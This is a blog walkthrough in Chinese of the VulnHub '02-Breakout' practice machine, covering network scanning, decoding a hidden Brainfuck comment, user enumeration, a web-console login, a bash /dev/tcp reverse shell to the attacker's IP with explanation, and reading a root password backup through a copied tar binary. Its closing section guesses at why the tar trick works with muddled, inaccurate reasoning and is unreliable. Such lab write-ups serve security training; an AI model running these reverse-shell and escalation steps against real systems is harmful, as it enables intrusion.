当前位置: 首页 > news >正文

02-Breakout靶机攻略

第一步搭建靶机

下载地址:https://download.vulnhub.com/empire/02-Breakout.zip

下载好了之后直接用VM打开

然后右击虚拟机,把网络连接改成nat模式

第二步,信息收集

然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。

打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址

nmap 192.168.109.1/24

扫出来了他的ip,然后去访问一下 

第三步web渗透

可以看到一个默认页面,我们翻看一下看一下靶机有没有什么提示信息,发现右击查看源代码,翻到最下面,有一行注释提示。

翻译一下,他说它的什么访问权限,还是加密的。所以我们肯定要去解一下码

博主这里找了很久,发现他是brainfuck编码的直接把网站给你们

网址:CTF在线工具-在线Brainfuck加密|在线Brainfuck解密|Brainfuck|Brainfuck原理|Brainfuck算法

 解出来一串不知道是什么东西,先留着备用。肯定在这个页面是没有一点用的,所以我们要去扫一下它有哪些目录。

打开kali输入下面命令

dirb http://192.168.109.157

发现他的目录实在是太多,很难找到有用的信息,我们从刚才找到的网站开放端口尝试访问一下。

发现端口10000和20000有一样的登录页面

 很明显刚才那个不是账号就是密码,这里有一个kali命令可以找相关账号信息

enum4linux -a 192.168.109.128

看到cyber的应就是用户名了,我们尝试登录一下吧。

 发现可以登录进去,找一下直接看到终端了。

 打开,发现权限不是很高不能看到我们想要的文件,我们试着反弹一下反向shell

先在kali上开一个端口监听

nc -lvp 7777

 再去刚才那个终端里执行下面命令(这里的IP是kali的)

bash -i >& /dev/tcp/192.168.109.128/7777 0>&1

命令解释分解如下:

​(1) bash -i

  • bash:启动 Bash Shell。

  • -i:表示 ​​交互式模式(Interactive Mode)​​,即允许用户输入命令并实时看到输出(类似正常的终端)。

​(2) >& /dev/tcp/192.168.109.128/7777

  • >&:将 ​​标准输出(stdout)和标准错误(stderr)​​ 重定向到后面的文件或设备。

  • /dev/tcp/192.168.109.128/7777

    • /dev/tcp/ 是 Bash 的一个 ​​特殊设备文件​​,用于建立 TCP 连接。

    • 192.168.109.128 是攻击者的 IP 地址(远程主机)。

    • 7777 是攻击者监听的端口号。

    • 这部分的作用是 ​​让 Bash 尝试连接攻击者的 IP 和端口​​,并将 Shell 的输出发送到那里。

​(3) 0>&1

  • 0:标准输入(stdin,文件描述符 0)。

  • 1:标准输出(stdout,文件描述符 1)。

  • >&:重定向。

  • 0>&1 的作用是 ​​将标准输入(stdin)重定向到标准输出(stdout)​​,即:

    • 远程主机(攻击者)可以通过 TCP 连接发送命令(输入)。

    • 受害者的 Bash Shell 会接收这些命令并执行,然后将输出返回给攻击者。

执行之后看kali

 发现反弹到了

第四步提权

反弹到的shell执行下面命令

cd /var/backups
ls -al

发现有一个.bak文件打开看一下,发现不能打开

某些自动化脚本(如密码更新脚本)可能在修改密码前先备份旧密码到 .old_pass.bak

那我们把他压缩再解压看一下

cd ~
./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak

 看到了root密码,返回20000端口登录页面,重新登录一下

 补充

最后再补充一下,为什么压缩再解压文件就可以查看了

​1. 可能的原因分析​

​(1) 文件本身是压缩包,但扩展名未正确标识​

  • ​现象​​:

    • 文件实际是一个压缩包(如 gzipzip 或 tar 格式),但文件名没有正确的扩展名(比如命名为 .bak 而不是 .gz 或 .zip)。
    • 直接打开时,系统或编辑器尝试将其当作普通文本文件解析,导致报错。
    • 用 gzip/unzip 等工具解压时,工具能正确识别其压缩格式,因此可以解压出原始内容。
  • ​示例​​:

    • 文件实际是 gzip 压缩的文本文件,但扩展名是 .bak 而非 .gz
    • 直接运行 cat .old_pass.bak 会报错(因为 cat 试图将二进制数据当作文本解析)。
    • 运行 gunzip .old_pass.bak 可以成功解压,因为 gunzip 能自动检测 gzip 格式(即使扩展名不对)。

​(2) 文件是“压缩包中的压缩包”(多层压缩)​

  • ​现象​​:

    • 文件可能是先被压缩(如 zip),然后又被二次压缩(如 tar.gz),但外层压缩格式未被正确识别。
    • 直接解压时,工具可能只识别了外层格式(如 tar),但内层格式(如 gzip)未被正确处理,导致解压失败或内容仍不可读。
    • 但某些工具(如 zip 或 7z)能自动处理多层压缩,因此“压缩再解压”后可以正确提取内容。
  • ​示例​​:

    • 文件实际是一个 tar.gz 文件(先 tar 打包,再 gzip 压缩),但扩展名是 .bak
    • 直接运行 gunzip .old_pass.bak 可能失败(因为 gunzip 只能解压单层 gzip)。
    • 但运行 tar -xzvf .old_pass.bak 可以成功解压(因为 tar 能自动识别并处理 gzip 压缩)。

​(3) 文件是加密或编码数据,但压缩工具“绕过”了问题​

  • ​现象​​:
    • 文件可能是加密或编码的数据(如 Base64 或 AES 加密),直接打开时编辑器无法解析二进制数据。
    • 但某些压缩工具(如 zip 或 7z)在压缩/解压时会忽略部分二进制异常,因此“压缩再解压”后可能意外恢复可读性。
    • 这种情况较少见,但可能发生在文件部分损坏但压缩工具能容忍的情况下。

​(4) 文件是“自解压脚本”或特殊格式​

  • ​现象​​:
    • 文件可能是某种自解压程序(如 Windows 的 .exe 自解压包),在 Linux 下直接打开会报错。
    • 但通过 zip 或 tar 等工具“重新打包”后,可能生成一个更标准的压缩包,从而可以解压。

 

http://www.lryc.cn/news/604166.html

相关文章:

  • linux命令ps的实际应用
  • ubuntu18.04制作raid0
  • Springboot+vue智能家居商城的设计与实现
  • python使用ffmpeg录制rtmp/m3u8推流视频并按ctrl+c实现优雅退出
  • Apache Ignite 的分布式队列(IgniteQueue)和分布式集合(IgniteSet)的介绍
  • windows下Docker安装路径、存储路径修改
  • Element Plus常见基础组件(一)
  • 网络协议——MPLS(多协议标签转发)
  • Day23-二叉树的层序遍历(广度优先搜素)
  • 基于dcmtk的dicom工具 第九章 以json文件或sqlite为数据源的worklist服务(附工程源码)
  • Mqttnet的MqttClientTlsOptions.CertificateValidationHandler详解
  • SQL 怎么学?
  • SQLAlchemy 全方位指南:从入门到精通
  • Linux初学者在CentOS 7虚拟机中rpm、yum、dnf的操作练习
  • PCIE4.0/5.0/DDR4/DDR5使用以及布局布线规则-集萃
  • 14、distance_object_model_3d算子
  • 粒子群优化算法(Particle Swarm Optimization, PSO) 求解二维 Rastrigin 函数最小值问题
  • 三相四桥臂SVPWM控制及电机模型
  • Excel制作滑珠图、哑铃图
  • CSRF漏洞原理及利用
  • 子数组和 问题汇总
  • Mysql缓冲池和LRU
  • Accessibility Insights for Windows 使用教程
  • Adv. Sci. 前沿:非零高斯曲率3D结构可逆转换!液晶弹性体多级形变新策略
  • Javaweb————HTTP请求头属性讲解
  • [leetcode] 电话号码的排列组合
  • Vue El 基础
  • PyTorch 数据类型和使用
  • 第二课 P-MOS管应用
  • LRU(Least Recently Used)原理及算法实现